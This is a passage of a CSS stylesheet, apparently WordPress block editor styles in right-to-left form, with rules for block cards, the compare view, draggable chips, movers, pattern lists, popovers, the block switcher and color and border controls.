  outline:2px solid #0000;
  position:absolute;
  right:1px;
  top:1px;
}

.block-editor-block-breadcrumb__current{
  cursor:default;
}

.block-editor-block-breadcrumb__button.components-button,.block-editor-block-breadcrumb__current{
  color:#1e1e1e;
  font-size:inherit;
  padding:0 8px;
}

.block-editor-block-card{
  align-items:flex-start;
  color:#1e1e1e;
  display:flex;
  padding:16px;
}

.block-editor-block-card__content{
  flex-grow:1;
}

.block-editor-block-card__title{
  font-weight:500;
}
.block-editor-block-card__title.block-editor-block-card__title{
  font-size:13px;
  line-height:1.4;
  margin:0;
  padding:3px 0;
}

.block-editor-block-card__description{
  display:block;
  font-size:13px;
  line-height:1.4;
  margin-top:4px;
}

.block-editor-block-card .block-editor-block-icon{
  flex:0 0 24px;
  height:24px;
  margin-left:12px;
  margin-right:0;
  width:24px;
}

.block-editor-block-card.is-synced .block-editor-block-icon{
  color:var(--wp-block-synced-color);
}
.block-editor-block-compare{
  height:auto;
}

.block-editor-block-compare__wrapper{
  display:flex;
  padding-bottom:16px;
}
.block-editor-block-compare__wrapper>div{
  display:flex;
  flex-direction:column;
  justify-content:space-between;
  max-width:600px;
  min-width:200px;
  padding:0 0 0 16px;
  width:50%;
}
.block-editor-block-compare__wrapper>div button{
  float:left;
}
.block-editor-block-compare__wrapper .block-editor-block-compare__converted{
  border-right:1px solid #ddd;
  padding-left:0;
  padding-right:15px;
}
.block-editor-block-compare__wrapper .block-editor-block-compare__html{
  border-bottom:1px solid #ddd;
  color:#1e1e1e;
  font-family:Menlo,Consolas,monaco,monospace;
  font-size:12px;
  line-height:1.7;
  padding-bottom:15px;
}
.block-editor-block-compare__wrapper .block-editor-block-compare__html span{
  background-color:#e6ffed;
  padding-bottom:3px;
  padding-top:3px;
}
.block-editor-block-compare__wrapper .block-editor-block-compare__html span.block-editor-block-compare__added{
  background-color:#acf2bd;
}
.block-editor-block-compare__wrapper .block-editor-block-compare__html span.block-editor-block-compare__removed{
  background-color:#cc1818;
}
.block-editor-block-compare__wrapper .block-editor-block-compare__preview{
  padding:16px 0 0;
}
.block-editor-block-compare__wrapper .block-editor-block-compare__preview p{
  font-size:12px;
  margin-top:0;
}
.block-editor-block-compare__wrapper .block-editor-block-compare__action{
  margin-top:16px;
}
.block-editor-block-compare__wrapper .block-editor-block-compare__heading{
  font-size:1em;
  font-weight:400;
  margin:.67em 0;
}

.block-editor-block-draggable-chip-wrapper{
  position:absolute;
  right:0;
  top:-24px;
}

.block-editor-block-draggable-chip{
  background-color:#1e1e1e;
  border-radius:2px;
  box-shadow:0 6px 8px #0000004d;
  color:#fff;
  cursor:grabbing;
  display:inline-flex;
  height:48px;
  padding:0 13px;
  position:relative;
  -webkit-user-select:none;
          user-select:none;
  width:max-content;
}
.block-editor-block-draggable-chip svg{
  fill:currentColor;
}
.block-editor-block-draggable-chip .block-editor-block-draggable-chip__content{
  justify-content:flex-start;
  margin:auto;
}
.block-editor-block-draggable-chip .block-editor-block-draggable-chip__content>.components-flex__item{
  margin-left:6px;
}
.block-editor-block-draggable-chip .block-editor-block-draggable-chip__content>.components-flex__item:last-child{
  margin-left:0;
}
.block-editor-block-draggable-chip .block-editor-block-draggable-chip__content .block-editor-block-icon svg{
  min-height:18px;
  min-width:18px;
}
.block-editor-block-draggable-chip .components-flex__item{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
}

.block-editor-block-draggable-chip__disabled.block-editor-block-draggable-chip__disabled{
  align-items:center;
  background-color:initial;
  bottom:0;
  display:flex;
  justify-content:center;
  left:0;
  opacity:0;
  position:absolute;
  right:0;
  top:0;
  transition:all .1s linear .1s;
}
.block-editor-block-draggable-chip__disabled.block-editor-block-draggable-chip__disabled .block-editor-block-draggable-chip__disabled-icon{
  background:#0000 linear-gradient(45deg, #0000 47.5%, #fff 0, #fff 52.5%, #0000 0);
  border-radius:50%;
  box-shadow:inset 0 0 0 1.5px #fff;
  display:inline-block;
  height:20px;
  padding:0;
  width:20px;
}

.block-draggable-invalid-drag-token .block-editor-block-draggable-chip__disabled.block-editor-block-draggable-chip__disabled{
  background-color:#757575;
  box-shadow:0 4px 8px #0003;
  opacity:1;
}

.block-editor-block-mover__move-button-container{
  border:none;
  display:flex;
  justify-content:center;
  padding:0;
}
@media (min-width:600px){
  .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container{
    flex-direction:column;
  }
  .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container>*{
    height:20px;
    min-width:0 !important;
    width:100%;
  }
  .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container>:before{
    height:calc(100% - 4px);
  }
  .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container .block-editor-block-mover-button.is-up-button svg{
    flex-shrink:0;
    top:3px;
  }
  .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container .block-editor-block-mover-button.is-down-button svg{
    bottom:3px;
    flex-shrink:0;
  }
  .block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container{
    width:48px;
  }
  .block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container>*{
    min-width:0 !important;
    overflow:hidden;
    width:24px;
  }
  .block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container .block-editor-block-mover-button{
    padding-left:0;
    padding-right:0;
  }
  .block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container .block-editor-block-mover-button.is-up-button svg{
    right:5px;
  }
  .block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container .block-editor-block-mover-button.is-down-button svg{
    left:5px;
  }
}

.block-editor-block-mover__drag-handle{
  cursor:grab;
}
@media (min-width:600px){
  .block-editor-block-mover__drag-handle{
    min-width:0 !important;
    overflow:hidden;
    width:24px;
  }
  .block-editor-block-mover .block-editor-block-mover__drag-handle.has-icon.has-icon{
    padding-left:0;
    padding-right:0;
  }
}

.components-button.block-editor-block-mover-button:before{
  animation:components-button__appear-animation .1s ease;
  animation-fill-mode:forwards;
  border-radius:2px;
  content:"";
  display:block;
  height:32px;
  left:8px;
  position:absolute;
  right:8px;
  z-index:-1;
}
@media (prefers-reduced-motion:reduce){
  .components-button.block-editor-block-mover-button:before{
    animation-delay:0s;
    animation-duration:1ms;
  }
}
.components-button.block-editor-block-mover-button:focus,.components-button.block-editor-block-mover-button:focus:before,.components-button.block-editor-block-mover-button:focus:enabled{
  box-shadow:none;
  outline:none;
}
.components-button.block-editor-block-mover-button:focus-visible:before{
  box-shadow:inset 0 0 0 1px var(--wp-components-color-background, #fff), 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  outline:2px solid #0000;
}

.block-editor-block-navigation__container{
  min-width:280px;
}

.block-editor-block-navigation__label{
  color:#757575;
  font-size:11px;
  font-weight:500;
  margin:0 0 12px;
  text-transform:uppercase;
}

.block-editor-block-patterns-list__list-item{
  cursor:pointer;
  margin-bottom:24px;
  position:relative;
}
.block-editor-block-patterns-list__list-item.is-placeholder{
  min-height:100px;
}
.block-editor-block-patterns-list__list-item[draggable=true]{
  cursor:grab;
}

.block-editor-block-patterns-list__item{
  height:100%;
  scroll-margin-bottom:56px;
  scroll-margin-top:24px;
}
.block-editor-block-patterns-list__item .block-editor-block-preview__container{
  align-items:center;
  border-radius:4px;
  display:flex;
  overflow:hidden;
}
.block-editor-block-patterns-list__item .block-editor-block-patterns-list__item-title{
  flex-grow:1;
  text-align:right;
}
.block-editor-block-patterns-list__item:hover .block-editor-block-preview__container{
  box-shadow:0 0 0 2px #1e1e1e;
}
.block-editor-block-patterns-list__item:focus .block-editor-block-preview__container{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff, 0 0 0 calc(var(--wp-admin-border-width-focus)*2) #1e1e1e;
  outline:2px solid #0000;
  outline-offset:2px;
}
.block-editor-block-patterns-list__item.block-editor-block-patterns-list__list-item-synced:focus .block-editor-block-preview__container,.block-editor-block-patterns-list__item.block-editor-block-patterns-list__list-item-synced:hover .block-editor-block-preview__container{
  box-shadow:0 0 0 2px var(--wp-block-synced-color), 0 15px 25px #00000012;
}
.block-editor-block-patterns-list__item .block-editor-patterns__pattern-details{
  align-items:center;
  margin-top:8px;
}
.block-editor-block-patterns-list__item .block-editor-patterns__pattern-icon-wrapper{
  height:24px;
  min-width:24px;
}
.block-editor-block-patterns-list__item .block-editor-patterns__pattern-icon-wrapper .block-editor-patterns__pattern-icon{
  fill:var(--wp-block-synced-color);
}

.block-editor-patterns__grid-pagination-wrapper .block-editor-patterns__grid-pagination{
  border-top:1px solid #2f2f2f;
  justify-content:center;
  padding:4px;
}
.block-editor-patterns__grid-pagination-wrapper .block-editor-patterns__grid-pagination .components-button.is-tertiary{
  height:32px;
  justify-content:center;
  width:auto;
}
.block-editor-patterns__grid-pagination-wrapper .block-editor-patterns__grid-pagination .components-button.is-tertiary:disabled{
  background:none;
  color:#949494;
}
.block-editor-patterns__grid-pagination-wrapper .block-editor-patterns__grid-pagination .components-button.is-tertiary:hover:not(:disabled){
  background-color:#757575;
  color:#fff;
}
.show-icon-labels .block-editor-patterns__grid-pagination,.show-icon-labels .block-editor-patterns__grid-pagination .block-editor-patterns__grid-pagination-next,.show-icon-labels .block-editor-patterns__grid-pagination .block-editor-patterns__grid-pagination-previous{
  flex-direction:column;
}
.show-icon-labels .block-editor-patterns__grid-pagination .components-button{
  width:auto;
}
.show-icon-labels .block-editor-patterns__grid-pagination .components-button span{
  display:none;
}
.show-icon-labels .block-editor-patterns__grid-pagination .components-button:before{
  content:attr(aria-label);
}

.components-popover.block-editor-block-popover{
  margin:0 !important;
  pointer-events:none;
  position:absolute;
  z-index:31;
}
.components-popover.block-editor-block-popover .components-popover__content{
  margin:0 !important;
  min-width:auto;
  overflow-y:visible;
  width:max-content;
}
.components-popover.block-editor-block-popover:not(.block-editor-block-popover__inbetween,.block-editor-block-popover__drop-zone,.block-editor-block-list__block-side-inserter-popover) .components-popover__content *{
  pointer-events:all;
}
.components-popover.block-editor-block-popover__inbetween,.components-popover.block-editor-block-popover__inbetween *{
  pointer-events:none;
}
.components-popover.block-editor-block-popover__inbetween .is-with-inserter,.components-popover.block-editor-block-popover__inbetween .is-with-inserter *{
  pointer-events:all;
}

.components-popover.block-editor-block-popover__drop-zone *{
  pointer-events:none;
}
.components-popover.block-editor-block-popover__drop-zone .block-editor-block-popover__drop-zone-foreground{
  background-color:var(--wp-admin-theme-color);
  border-radius:2px;
  inset:0;
  position:absolute;
}

.block-editor-block-preview__container{
  overflow:hidden;
  position:relative;
  width:100%;
}
.block-editor-block-preview__container .block-editor-block-preview__content{
  margin:0;
  min-height:auto;
  overflow:visible;
  right:0;
  text-align:initial;
  top:0;
  transform-origin:top right;
  width:100%;
}
.block-editor-block-preview__container .block-editor-block-preview__content .block-editor-block-list__insertion-point,.block-editor-block-preview__container .block-editor-block-preview__content .block-list-appender{
  display:none;
}

.block-editor-block-preview__container:after{
  bottom:0;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:0;
  z-index:1;
}

.block-editor-block-rename-modal{
  z-index:1000001;
}

.block-editor-block-settings-menu__popover .components-dropdown-menu__menu{
  padding:0;
}

.block-editor-block-styles+.default-style-picker__default-switcher{
  margin-top:16px;
}

.block-editor-block-styles__preview-panel{
  display:none;
  z-index:90;
}
@media (min-width:782px){
  .block-editor-block-styles__preview-panel{
    display:block;
  }
}
.block-editor-block-styles__preview-panel .block-editor-block-icon{
  display:none;
}

.block-editor-block-styles__variants{
  display:flex;
  flex-wrap:wrap;
  gap:8px;
  justify-content:space-between;
}
.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item{
  box-shadow:inset 0 0 0 1px #ddd;
  color:#1e1e1e;
  display:inline-block;
  width:calc(50% - 4px);
}
.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item:hover{
  box-shadow:inset 0 0 0 1px #ddd;
  color:var(--wp-admin-theme-color);
}
.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item.is-active,.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item.is-active:hover{
  background-color:#1e1e1e;
  box-shadow:none;
}
.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item.is-active .block-editor-block-styles__item-text,.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item.is-active:hover .block-editor-block-styles__item-text{
  color:#fff;
}
.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item.is-active:focus,.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item:focus{
  box-shadow:inset 0 0 0 1px var(--wp-components-color-background, #fff), 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  outline:2px solid #0000;
}
.block-editor-block-styles__variants .block-editor-block-styles__item-text{
  text-align:start;
  text-align-last:center;
  white-space:normal;
  word-break:break-all;
}

.block-editor-block-styles__block-preview-container,.block-editor-block-styles__block-preview-container *{
  box-sizing:border-box !important;
}

.block-editor-block-switcher{
  position:relative;
}
.block-editor-block-switcher .components-button.components-dropdown-menu__toggle.has-icon.has-icon{
  min-width:36px;
}

.block-editor-block-switcher__no-switcher-icon,.block-editor-block-switcher__toggle{
  position:relative;
}

.components-button.block-editor-block-switcher__no-switcher-icon,.components-button.block-editor-block-switcher__toggle{
  display:block;
  height:48px;
  margin:0;
}
.components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-icon,.components-button.block-editor-block-switcher__toggle .block-editor-block-icon{
  margin:auto;
}

.block-editor-block-switcher__toggle-text{
  margin-right:8px;
}
.show-icon-labels .block-editor-block-switcher__toggle-text{
  display:none;
}

.components-button.block-editor-block-switcher__no-switcher-icon{
  display:flex;
}
.components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-icon{
  margin-left:auto;
  margin-right:auto;
  min-width:24px !important;
}

.components-button.block-editor-block-switcher__no-switcher-icon:disabled{
  opacity:1;
}
.components-button.block-editor-block-switcher__no-switcher-icon:disabled,.components-button.block-editor-block-switcher__no-switcher-icon:disabled .block-editor-block-icon.has-colors{
  color:#1e1e1e;
}

.block-editor-block-toolbar .components-toolbar .components-button.block-editor-block-switcher__no-switcher-icon.has-icon.has-icon .block-editor-block-icon,.block-editor-block-toolbar .components-toolbar .components-button.block-editor-block-switcher__toggle.has-icon.has-icon .block-editor-block-icon,.block-editor-block-toolbar .components-toolbar-group .components-button.block-editor-block-switcher__no-switcher-icon.has-icon.has-icon .block-editor-block-icon,.block-editor-block-toolbar .components-toolbar-group .components-button.block-editor-block-switcher__toggle.has-icon.has-icon .block-editor-block-icon{
  align-items:center;
  display:flex;
  height:100%;
  margin:0 auto;
  min-width:100%;
  position:relative;
}
.block-editor-block-toolbar .components-toolbar .components-button.block-editor-block-switcher__no-switcher-icon.has-icon.has-icon:before,.block-editor-block-toolbar .components-toolbar .components-button.block-editor-block-switcher__toggle.has-icon.has-icon:before,.block-editor-block-toolbar .components-toolbar-group .components-button.block-editor-block-switcher__no-switcher-icon.has-icon.has-icon:before,.block-editor-block-toolbar .components-toolbar-group .components-button.block-editor-block-switcher__toggle.has-icon.has-icon:before{
  bottom:8px;
  left:8px;
  right:8px;
  top:8px;
}

.components-popover.block-editor-block-switcher__popover .components-popover__content{
  min-width:300px;
}

.block-editor-block-switcher__popover__preview__parent .block-editor-block-switcher__popover__preview__container{
  position:absolute;
  right:calc(100% + 16px);
  top:-12px;
}

.block-editor-block-switcher__preview__popover{
  display:none;
  overflow:hidden;
}
.block-editor-block-switcher__preview__popover.components-popover{
  margin-top:11px;
}
@media (min-width:782px){
  .block-editor-block-switcher__preview__popover{
    display:block;
  }
}
.block-editor-block-switcher__preview__popover .components-popover__content{
  background:#fff;
  border:1px solid #1e1e1e;
  border-radius:2px;
  box-shadow:none;
  outline:none;
  overflow:auto;
  width:300px;
}
.block-editor-block-switcher__preview__popover .block-editor-block-switcher__preview{
  margin:16px 0;
  max-height:468px;
  overflow:hidden;
  padding:0 16px;
}
.block-editor-block-switcher__preview__popover .block-editor-block-switcher__preview.is-pattern-list-preview{
  overflow:unset;
}

.block-editor-block-switcher__preview-title{
  color:#757575;
  font-size:11px;
  font-weight:500;
  margin-bottom:12px;
  text-transform:uppercase;
}

.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon{
  min-width:36px;
}
.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle{
  height:48px;
}
.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-icon,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-switcher__transform,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle .block-editor-block-icon,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle .block-editor-block-switcher__transform{
  height:48px;
  width:48px;
}
.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-switcher__transform,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle .block-editor-block-switcher__transform{
  padding:12px;
}

.block-editor-block-switcher__preview-patterns-container{
  padding-bottom:16px;
}
.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item{
  margin-top:16px;
}
.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-preview__container{
  cursor:pointer;
}
.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item{
  border:1px solid #0000;
  border-radius:2px;
  height:100%;
  position:relative;
  transition:all .05s ease-in-out;
}
.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item:focus,.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item:hover{
  box-shadow:inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item:hover{
  box-shadow:inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) #1e1e1e;
}
.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item .block-editor-block-switcher__preview-patterns-container-list__item-title{
  cursor:pointer;
  font-size:12px;
  padding:4px;
  text-align:center;
}

.block-editor-block-switcher__no-transforms{
  color:#757575;
  margin:0;
  padding:6px 8px;
}

.block-editor-block-types-list>[role=presentation]{
  display:flex;
  flex-wrap:wrap;
  overflow:hidden;
}

.block-editor-block-pattern-setup{
  align-items:flex-start;
  border-radius:2px;
  display:flex;
  flex-direction:column;
  justify-content:center;
  width:100%;
}
.block-editor-block-pattern-setup.view-mode-grid{
  padding-top:4px;
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__toolbar{
  justify-content:center;
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container{
  column-count:2;
  column-gap:24px;
  display:block;
  padding:0 32px;
  width:100%;
}
@media (min-width:1440px){
  .block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container{
    column-count:3;
  }
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-preview__container,.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container div[role=button]{
  cursor:pointer;
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__item{
  scroll-margin:5px 0;
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__item:hover .block-editor-block-preview__container{
  box-shadow:0 0 0 2px var(--wp-admin-theme-color);
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__item:focus .block-editor-block-preview__container{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff, 0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-admin-theme-color);
  outline:2px solid #0000;
  outline-offset:2px;
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__item:focus .block-editor-block-pattern-setup-list__item-title,.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__item:hover .block-editor-block-pattern-setup-list__item-title{
  color:var(--wp-admin-theme-color);
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__list-item{
  break-inside:avoid-column;
  margin-bottom:24px;
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__list-item .block-editor-block-pattern-setup-list__item-title{
  cursor:pointer;
  font-size:12px;
  padding-top:8px;
  text-align:center;
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__list-item .block-editor-block-preview__container{
  border:1px solid #ddd;
  border-radius:2px;
  min-height:100px;
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__list-item .block-editor-block-preview__content{
  width:100%;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__toolbar{
  align-items:center;
  align-self:stretch;
  background-color:#fff;
  border-top:1px solid #ddd;
  bottom:0;
  box-sizing:border-box;
  color:#1e1e1e;
  display:flex;
  flex-direction:row;
  height:60px;
  justify-content:space-between;
  margin:0;
  padding:16px;
  position:absolute;
  text-align:right;
  width:100%;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__toolbar .block-editor-block-pattern-setup__display-controls{
  display:flex;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__toolbar .block-editor-block-pattern-setup__actions,.block-editor-block-pattern-setup .block-editor-block-pattern-setup__toolbar .block-editor-block-pattern-setup__navigation{
  display:flex;
  width:calc(50% - 36px);
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__toolbar .block-editor-block-pattern-setup__actions{
  justify-content:flex-end;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container{
  box-sizing:border-box;
  display:flex;
  flex-direction:column;
  height:100%;
  width:100%;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container{
  height:100%;
  list-style:none;
  margin:0;
  overflow:hidden;
  padding:0;
  position:relative;
  transform-style:preserve-3d;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container *{
  box-sizing:border-box;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container .pattern-slide{
  background-color:#fff;
  height:100%;
  margin:auto;
  padding:0;
  position:absolute;
  top:0;
  transition:transform .5s,z-index .5s;
  width:100%;
  z-index:100;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container .pattern-slide.active-slide{
  opacity:1;
  position:relative;
  z-index:102;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container .pattern-slide.previous-slide{
  transform:translateX(100%);
  z-index:101;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container .pattern-slide.next-slide{
  transform:translateX(-100%);
  z-index:101;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .block-list-appender{
  display:none;
}

.block-editor-block-pattern-setup__carousel,.block-editor-block-pattern-setup__grid{
  width:100%;
}

.block-editor-block-variation-transforms{
  padding:0 52px 16px 16px;
  width:100%;
}
.block-editor-block-variation-transforms .components-dropdown-menu__toggle{
  border:1px solid #757575;
  border-radius:2px;
  justify-content:right;
  min-height:30px;
  padding:6px 12px;
  position:relative;
  text-align:right;
  width:100%;
}
.block-editor-block-variation-transforms .components-dropdown-menu__toggle.components-dropdown-menu__toggle{
  padding-left:24px;
}
.block-editor-block-variation-transforms .components-dropdown-menu__toggle:focus:not(:disabled){
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 calc(var(--wp-admin-border-width-focus) - 1px) var(--wp-admin-theme-color);
}
.block-editor-block-variation-transforms .components-dropdown-menu__toggle svg{
  height:100%;
  left:0;
  padding:0;
  position:absolute;
  top:0;
}

.block-editor-block-variation-transforms__popover .components-popover__content{
  min-width:230px;
}

.components-border-radius-control{
  margin-bottom:12px;
}
.components-border-radius-control legend{
  margin-bottom:8px;
}
.components-border-radius-control .components-border-radius-control__wrapper{
  align-items:flex-start;
  display:flex;
  justify-content:space-between;
}
.components-border-radius-control .components-border-radius-control__wrapper .components-border-radius-control__unit-control{
  flex-shrink:0;
  margin-bottom:0;
  margin-left:16px;
  width:calc(50% - 8px);
}
.components-border-radius-control .components-border-radius-control__wrapper .components-border-radius-control__range-control{
  flex:1;
  margin-left:12px;
}
.components-border-radius-control .components-border-radius-control__wrapper .components-border-radius-control__range-control>div{
  align-items:center;
  display:flex;
  height:40px;
}
.components-border-radius-control .components-border-radius-control__wrapper>span{
  flex:0 0 auto;
}
.components-border-radius-control .components-border-radius-control__input-controls-wrapper{
  display:grid;
  gap:16px;
  grid-template-columns:repeat(2, minmax(0, 1fr));
  margin-left:12px;
}
.components-border-radius-control .component-border-radius-control__linked-button{
  display:flex;
  justify-content:center;
  margin-top:8px;
}
.components-border-radius-control .component-border-radius-control__linked-button svg{
  margin-left:0;
}

.block-editor-color-gradient-control .block-editor-color-gradient-control__color-indicator{
  margin-bottom:12px;
}

.block-editor-color-gradient-control__fieldset{
  min-width:0;
}

.block-editor-panel-color-gradient-settings.block-editor-panel-color-gradient-settings,.block-editor-panel-color-gradient-settings.block-editor-panel-color-gradient-settings>div:not(:first-of-type){
  display:block;
}

@media screen and (min-width:782px){
  .block-editor-panel-color-gradient-settings .components-circular-option-picker__swatches{
    display:grid;
    grid-template-columns:repeat(6, 28px);
  }
}
.block-editor-block-inspector .block-editor-panel-color-gradient-settings .components-base-control{
  margin-bottom:inherit;
}

.block-editor-panel-color-gradient-settings__dropdown-content .block-editor-color-gradient-control__panel{
  padding:16px;
  width:260px;
}

.block-editor-panel-color-gradient-settings__color-indicator{
  background:linear-gradient(45deg, #0000 48%, #ddd 0, #ddd 52%, #0000 0);
}
.block-editor-tools-panel-color-gradient-settings__item{
  border-bottom:1px solid #ddd;
  border-left:1px solid #ddd;
  border-right:1px solid #ddd;
  max-width:100%;
  padding:0;
}
.block-editor-tools-panel-color-gradient-settings__item:nth-child(1 of .block-editor-tools-panel-color-gradient-settings__item){
  border-top:1px solid #ddd;
  border-top-left-radius:2px;
  border-top-right-radius:2px;
  margin-top:24px;
}
.block-editor-tools-panel-color-gradient-settings__item:nth-last-child(1 of .block-editor-tools-panel-color-gradient-settings__item){
  border-bottom-left-radius:2px;
  border-bottom-right-radius:2px;
}
.block-editor-tools-panel-color-gradient-settings__item>div,.block-editor-tools-panel-color-gradient-settings__item>div>button{
  border-radius:inherit;
}

.block-editor-tools-panel-color-gradient-settings__dropdown{
  display:block;
  padding:0;
}
.block-editor-tools-panel-color-gradient-settings__dropdown>button{
  height:auto;
  padding-bottom:10px;
  padding-top:10px;
  text-align:right;
}
.block-editor-tools-panel-color-gradient-settings__dropdown>button.is-open{
  background:#f0f0f0;
  color:var(--wp-admin-theme-color);
}
.block-editor-tools-panel-color-gradient-settings__dropdown .block-editor-panel-color-gradient-settings__color-name{
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
}

.block-editor-panel-color-gradient-settings__dropdown{
  width:100%;
}
.block-editor-panel-color-gradient-settings__dropdown .component-color-indicator{
  flex-shrink:0;
}

.block-editor-date-format-picker{
  margin-bottom:16px;
}

.block-editor-date-format-picker__custom-format-select-control__custom-option{
  border-top:1px solid #ddd;
}
.block-editor-date-format-picker__custom-format-select-control__custom-option.has-hint{
  grid-template-columns:auto 30px;
}
.block-editor-date-format-picker__custom-format-select-control__custom-option .components-custom-select-control__item-hint{
  grid-row:2;
  text-align:right;
}

.block-editor-duotone-control__popover>.components-popover__content{
  padding:16px;
  width:260px;
}
.block-editor-duotone-control__popover .components-menu-group__label{
  padding:0;
}
.block-editor-duotone-control__popover .components-circular-option-picker__swatches{
  display:grid;
  gap:12px;
  grid-template-columns:repeat(6, 28px);
  justify-content:space-between;
}

.block-editor-duotone-control__unset-indicator{
  background:linear-gradient(45deg, #0000 48%, #ddd 0, #ddd 52%, #0000 0);
}

.components-font-appearance-control ul li{
  color:#1e1e1e;
  text-transform:capitalize;
}

.block-editor-global-styles__toggle-icon{
  fill:currentColor;
}

.block-editor-global-styles__shadow-popover-container{
  width:230px;
}

.block-editor-global-styles__shadow__list{
  display:flex;
  flex-wrap:wrap;
  gap:12px;
  padding-bottom:8px;
}

.block-editor-global-styles__clear-shadow{
  text-align:left;
}

.block-editor-global-styles-filters-panel__dropdown,.block-editor-global-styles__shadow-dropdown{
  display:block;
  padding:0;
}
.block-editor-global-styles-filters-panel__dropdown button,.block-editor-global-styles__shadow-dropdown button{
  padding:8px;
  width:100%;
}
.block-editor-global-styles-filters-panel__dropdown button.is-open,.block-editor-global-styles__shadow-dropdown button.is-open{
  background-color:#f0f0f0;
}

.block-editor-global-styles__shadow-indicator{
  border:1px solid #e0e0e0;
  border-radius:2px;
  box-sizing:border-box;
  color:#2f2f2f;
  cursor:pointer;
  height:26px;
  padding:0;
